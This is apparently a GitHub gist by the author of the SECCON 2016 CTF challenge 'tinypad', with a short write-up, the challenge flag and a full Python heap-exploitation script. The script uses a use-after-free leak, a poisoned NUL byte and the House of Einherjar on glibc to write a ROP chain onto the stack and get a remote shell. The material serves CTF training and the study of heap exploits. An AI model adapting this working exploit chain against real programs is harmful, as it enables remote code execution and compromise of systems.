Skip to content

Instantly share code, notes, and snippets.

@hhc0null
Last active December 11, 2016 14:21
Show Gist options
  • Save hhc0null/4424a2a19a60c7f44e543e32190aaabf to your computer and use it in GitHub Desktop.
Save hhc0null/4424a2a19a60c7f44e543e32190aaabf to your computer and use it in GitHub Desktop.
SECON 2016 Online CTF Exp300 tinypad

tinypad

keywords: heap exploitation, glibc, Use After Free, malloc_consolidate, poisoned NUL byte, House of Einherjar

What's This?

This is the article for CTF Advent Calendar 2016. "tinypad" was a pwnable challenge for SECCON 2016 Online CTF.

My Intended Solution

After an analysis, we can get two vulnerabilities, Use After Free(leak only) and Non-NUL terminated string.
A fastbin-sized free()'d chunk and one smallbin-sized malloc() lead a fastbin into unsorted_chunks so we can leak the address of main_arena and calculate the address which is mapped the libc.
Now, we can corrupt a chunk size by writing into Non-NULL terminated string but we are not able to use House of Force due to limited request size for an allocation. House of Einherjar is suitable in this case.
We can forge the list of pads and get an arbitrary memory read and a partial write.

It's enough to write up. See the detail in "exploit_tinypad.py".

Other Solutions

There is another solution. @Charo-IT solved by Poisoned NUL byte and House of Spirit(freeing a fake fastbin chunk), perhaps I should not refer to "House of Einherjar" in the flag... If you found a solution which is different from my one, tell me on DM or reply. :)

Good pwn time,
@hhc0null

#!/usr/bin/env python2
import hashlib
import re
import socket
import struct
import sys
import telnetlib
def p(x, t="<Q"): return struct.pack(t, x)
def u(x, t="<Q"): return struct.unpack(t, x)[0]
def unsigned(x): return u(p(x, t="<q"), t="<Q")
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def connect(rhp):
I("Connect to %s:%d"%(rhp))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 0)
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0)
s.connect(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
I('4ll y0U n33D 15 5h3ll!!')
t.interact()
def M(prefix, body):
if len(body) == 1:
body = ''.join(body)
elif len(body) == 2:
key, value = body
if value <= 0xffffffff:
value = '0x%08x'%(value)
else:
value = '0x%016x'%(value)
body = '%s: %s'%(key, value)
elif len(body) >= 3:
body = '%s:%s'%(body[0], body[1:])
text = '[{prefix}] {body}'.format(prefix=prefix, body=body)
print text
def W(*body): M('!', body)
def N(*body): M('*', body)
def I(*body): M('+', body)
def RD(*body): M('D', repr(body))
def D(*body): M('D', body)
class IO(object):
def __init__(self, rhp):
self.rhp = rhp
self.s, self.f = connect(self.rhp)
def _read(self, size):
return self.s.recv(size)
def _write(self, buf):
self.s.send(buf)
def write(self, buf, end=''):
self._write(buf+end)
def writeln(self, buf):
self.write(buf, end='\n')
def read_until(self, delim='\n'):
buf = ''
while not buf.endswith(delim):
buf += self._read(1)
return buf
def flush(self):
self.f.flush()
def close(self):
self.f.close()
self.s.close()
def interact(self):
interact(self.s)
### user-defined
class TinyPadIO(IO):
def __init__(self, rhp):
super(TinyPadIO, self).__init__(rhp)
#self.writeln('dukucy!!') #, for testing.
self.read_until('(CMD)>>> ')
def add(self, size, content):
self.writeln('A')
self.read_until('(SIZE)>>> ')
self.writeln(str(size))
self.read_until('(CONTENT)>>> ')
self.writeln(content)
self.read_until('(CMD)>>> ')
def edit(self, index, content):
self.writeln('E')
self.read_until('(INDEX)>>> ')
self.writeln(str(index))
self.read_until('(CONTENT)>>> ')
self.writeln(content)
self.writeln('Y')
self.read_until('(CMD)>>> ')
def delete(self, index):
self.writeln('D')
self.read_until('(INDEX)>>> ')
self.writeln(str(index))
self.read_until('(CMD)>>> ')
def quit(self):
self.writeln('Q')
if __name__ == '__main__':
if len(sys.argv) != 3:
print >> sys.stderr, "Usage: %s HOST PORT"%(sys.argv[0])
print >> sys.stderr, "Tinypad is running on tinypad.pwn.seccon.jp:57463."
sys.exit(0)
host, port = sys.argv[1:]
rhp = (host, int(port))
tpio = TinyPadIO(rhp)
# -- useful offsets
offset_main_arena_58h = 0x3be760 + 0x58
''' {{{
gdf> p/x (void *)&main_arena-(void *)
$5 = 0x3be760
}}} '''
offset_libc___libc_system = 0x46590
''' {{{
gef> p/x (void *)&__libc_system-(void *)$libc_base
$4 = 0x46590
}}} '''
offset_libc___libc_argv = 0x3c3be0
''' {{{
gef> p/x (void *)&__libc_argv-(void *)$libc_base
$3 = 0x3c3be0
}}} '''
offset_libc_binsh = 0x17c8c0 + 3
''' {{{
17c8c0 2d63002f 62696e2f 73680065 78697420 -c./bin/sh.exit
}}} '''
## calculate with a debugger.
offset_einherjar = 0x20
offset_rop1 = 0xe0
offset_rop2 = 0xb0
offset_binsh = 0xc0
offset_onegadget_rce = 0x6fbda
''' {{{
6fbda: 48 8d 3d e2 cc 10 00 lea 0x10cce2(%rip),%rdi # 17c8c3 <_libc_intl_domainname@@GLIBC_2.2.5+0x242>
6fbe1: 48 8d 15 d8 cc 10 00 lea 0x10ccd8(%rip),%rdx # 17c8c0 <_libc_intl_domainname@@GLIBC_2.2.5+0x23f>
6fbe8: 48 8d 35 d9 cc 10 00 lea 0x10ccd9(%rip),%rsi # 17c8c8 <_libc_intl_domainname@@GLIBC_2.2.5+0x247>
6fbef: 45 31 c0 xor %r8d,%r8d
6fbf2: 4c 89 f1 mov %r14,%rcx
6fbf5: 31 c0 xor %eax,%eax
6fbf7: e8 a4 18 05 00 callq c14a0 <execl@@GLIBC_2.2.5>
}}} '''
addr_gadget = 0x4013cb
''' {{{
4013cb: 5d pop %rbp
4013cc: 41 5c pop %r12
4013ce: 41 5d pop %r13
4013d0: 41 5e pop %r14
4013d2: 41 5f pop %r15
4013d4: c3 retq
}}} '''
addr_tinypad = 0x602040
addr_sh = addr_tinypad + 0x100 - 0x20
# -- begin exploit.
# This exploit works on Ubuntu 14.04 (Trusty64).
## 1. leak heap base, link fastbin-sized chunk to the specified free list.
tpio.add(0x78, 'A'*0x8)
tpio.add(0x78, 'B'*0x8)
tpio.add(0x100, 'C'*0x8)
tpio.delete(2)
tpio.delete(1)
### UAF
tpio.writeln('')
data = tpio.read_until('(CMD)>>> ')
result = re.findall(r'# INDEX: 1\n # CONTENT: (.+)', data)
if result:
heap_base = u(result[0].ljust(8, '\0')) - 0x80
if not heap_base:
W('Couldn\'t get the heap base...')
tpio.close()
sys.exit(-1)
I('heap base: '+hex(heap_base))
## 2. leak libc addr and calculate some addresses.
### put free()'d chunks to unsorted_chunks by malloc_consolidate().
tpio.delete(3)
### UAF
tpio.writeln('')
data = tpio.read_until('(CMD)>>> ')
result = re.findall(r'# INDEX: 1\n # CONTENT: (.+)', data)
if result:
libc_base = u(result[0].ljust(8, '\0')) - offset_main_arena_58h
I('libc base: '+hex(libc_base))
### calculate some stuffs.
addr_libc___libc_system = libc_base + offset_libc___libc_system
addr_libc___libc_argv = libc_base + offset_libc___libc_argv
addr_onegadet_rce = libc_base + offset_onegadget_rce
## 3. make a condition of House of Einherjar
tpio.add(0x18, 'EINHERJAR#'.ljust(0x18, 'A'))
tpio.add(0x100, 'B'*0xf8+'\x11')
tpio.add(0x100, 'C'*0xf8)
addr_einherjar = heap_base + offset_einherjar
N('addr_einherjar: 0x%08x'%(addr_einherjar))
### forge a fake chunk nearby tinypad#page
addr_fakechunk, fakechunk_size = addr_tinypad + 0xd0, 0x101
fakechunk = ''.join((
p(fakechunk_size).rjust(0x8, 'P'),
p(addr_fakechunk), p(addr_fakechunk),
)).rjust(0xf0, 'P')
tpio.edit(3, fakechunk)
### get a diff between the target chunk and the fake chunk
diff = unsigned(addr_einherjar - addr_fakechunk)
N('addr_fakechunk - addr_einherjar: 0x%08x'%(diff))
### unset PREV_INUSE
data = '\x01'.rjust(0x18+2, 'P')
tpio.edit(1, data)
### '\0' padding
w = p(diff).strip('\0')
if len(w) != 3:
W('Too many NUL bytes in the diff.')
tpio.close()
sys.exit(-1)
number_of_zeros = len(p(diff))-len(w)
for i in range(number_of_zeros+1):
data = w.rjust(0x18-i, 'P')
tpio.edit(1, data)
### trigger House of Einherjar.
tpio.delete(2)
for i in range(len(w)-1):
tpio.edit(3, '\x01\x01'.rjust(0xd8+len(w)-i))
## 4. get both arbitrary read and write.
### malloc() the forged chunk and put some fake tinypad#page.
fake_pads = ''.join((
'sh\0'.ljust(0x20, 'P'),
'P'*0x8, p(addr_tinypad+0x100),
### addr_tinypad+0x100+0x28 is the same as &tinypad[2].pad
'P'*0x8, p(addr_tinypad+0x100+0x28),
'P'*0x8, p(addr_libc___libc_argv),
### get a stack address
'P'*0x8, p(addr_libc___libc_argv),
))
tpio.add(0x100-8, fake_pads)
## 5. construct a rop chain.
### leak a stack address,
tpio.writeln('')
data = tpio.read_until('(CMD)>>> ')
result = re.findall(r'# INDEX: 4\n # CONTENT: (.+)', data)
if result:
addr_stack_argv = u(result[0][-6:].ljust(8, '\0'))
N('addr_stack_argv: '+hex(addr_stack_argv))
# and calculate some useful addresses.
addr_stack_rop1 = addr_stack_argv - offset_rop1
addr_stack_rop2 = addr_stack_argv - offset_rop2
addr_stack_binsh = addr_stack_argv - offset_binsh
N('return address is at '+hex(addr_stack_rop1))
### put "/bin/sh" on the specified memory as the parameter for /bin/sh.
w = p(addr_sh).strip('\0')
number_of_zeros = len(p(addr_sh)) - len(w)
tpio.edit(2, p(addr_stack_binsh))
for i in range(number_of_zeros+1):
tpio.edit(3, 'A'*(8-i))
tpio.edit(3, p(addr_sh))
### put the rop1
w = p(addr_gadget).strip('\0')
number_of_zeros = len(p(addr_gadget)) - len(w)
tpio.edit(2, p(addr_stack_rop1))
for i in range(number_of_zeros+1):
tpio.edit(3, 'A'*(8-i))
tpio.edit(3, p(addr_gadget))
### put the rop2
tpio.edit(2, p(addr_stack_rop2))
tpio.edit(3, 'A'*(7))
tpio.edit(3, p(addr_onegadet_rce))
## 6. quit to get a shell, enjoy!
tpio.quit()
tpio.interact()
Congratz! Yo get the flag!
SECCON{5m45h1n9_7h3_574ck_f0r_fun_4nd_p40f17_w1th_H0u53_0f_31nh3rj4r}
CC = gcc
CFLAGS =-c -std=gnu11 -fstack-protector-all -fPIC
LDFLAGS = -Wl,-z,now -Wl,-z,relro #-pie
sources = tinypad.c pwnio.c
objects = $(sources:.c=.o)
solution= tinypad
.PHONY: clean
all: $(sources) $(solution)
$(solution): $(objects)
$(CC) $(LDFLAGS) $(objects) -o $@
.c.o:
$(CC) $(CFLAGS) $< -o $@
clean:
rm $(objects) $(solution)
View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment